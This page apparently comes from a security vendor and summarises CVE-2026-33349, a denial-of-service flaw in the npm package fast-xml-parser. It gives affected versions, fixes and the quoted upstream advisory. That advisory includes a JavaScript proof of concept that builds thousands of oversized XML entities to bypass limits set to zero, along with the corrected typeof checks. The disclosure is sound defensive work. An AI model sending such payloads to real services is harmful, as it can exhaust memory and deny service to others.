HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 33349 entity expansion limits bypassed when set to zero
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.9CVE-2026-33349GHSA-JP2Q-39XQ-3W4G

Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parserCVE-2026-33349

Answer in brief

CVE-2026-33349 records a Medium severity (CVSS 5.9) vulnerability in Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser. The current sources do not mark it as known exploited. The current feed maps fast-xml-parser (npm), fast-xml-parser (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Mar 19, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
5 linked sources
Open source record

Key facts

Risk
Medium · CVSS 5.9
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.9. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps fast-xml-parser (npm), fast-xml-parser (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
fast-xml-parsernpm>=4.0.0-beta.3 <4.5.54.5.5
fast-xml-parsernpm>=5.0.0 <5.5.75.5.7

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for fast-xml-parser, fast-xml-parser.
  2. 2Review the reported fix. Update fast-xml-parser to 4.5.5; fast-xml-parser to 5.5.7 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Mar 19, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

## Summary The `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. ## Details The `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`): ```js // src/xmlparser/OptionsBuilder.js:111 maxEntityCount: value.maxEntityCount ?? 100, // src/xmlparser/OptionsBuilder.js:107 maxEntitySize: value.maxEntitySize ?? 10000, ``` However, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced: ```js // src/xmlparser/DocTypeReader.js:30-32 if (this.options.enabled !== false && this.options.maxEntityCount && // ← 0 is falsy, skips check entityCount >= this.options.maxEntityCount) { throw new Error(`Entity count ...`); } ``` ```js // src/xmlparser/DocTypeReader.js:128-130 if (this.options.enabled !== false && this.options.maxEntitySize && // ← 0 is falsy, skips check entityValue.length > this.options.maxEntitySize) { throw new Error(`Entity "${entityName}" size ...`); } ``` The execution flow is: 1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions. 2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior). 3. Attacker supplies XML with a DOCTYPE containing many large entities. 4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount && ...` — since `0` is falsy, the entire condition is `false`. 5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize && ...` — same result. 6. All entity count and size limits are bypassed; entities are parsed without restriction. ## PoC ```js const { XMLParser } = require("fast-xml-parser"); // Developer intends: "no entities allowed at all" const parser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 0, // should mean "zero entities allowed" maxEntitySize: 0 // should mean "zero-length entities only" } }); // Generate XML with many large entities let entities = ""; for (let i = 0; i < 1000; i++) { entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`; } const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ ${entities} ]> <foo>&e0;</foo>`; // This should throw "Entity count exceeds maximum" but does not try { const result = parser.parse(xml); console.log("VULNERABLE: parsed without error, entities bypassed limits"); } catch (e) { console.log("SAFE:", e.message); } // Control test: setting maxEntityCount to 1 correctly blocks const safeParser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 1, maxEntitySize: 100 } }); try { safeParser.parse(xml); console.log("ERROR: should have thrown"); } catch (e) { console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)" } ``` **Expected output:** ``` VULNERABLE: parsed without error, entities bypassed limits CONTROL: Entity count (2) exceeds maximum allowed (1) ``` ## Impact - **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely. - **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security. - **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected. ## Recommended Fix Replace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit: ```js // src/xmlparser/DocTypeReader.js:30-32 — replace: if (this.options.enabled !== false && this.options.maxEntityCount && entityCount >= this.options.maxEntityCount) { // with: if (this.options.enabled !== false && typeof this.options.maxEntityCount === 'number' && entityCount >= this.options.maxEntityCount) { ``` ```js // src/xmlparser/DocTypeReader.js:128-130 — replace: if (this.options.enabled !== false && this.options.maxEntitySize && entityValue.length > this.options.maxEntitySize) { // with: if (this.options.enabled !== false && typeof this.options.maxEntitySize === 'number' && entityValue.length > this.options.maxEntitySize) { ``` # Workaround If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Quoted source text, attributed separately from HOL analysis.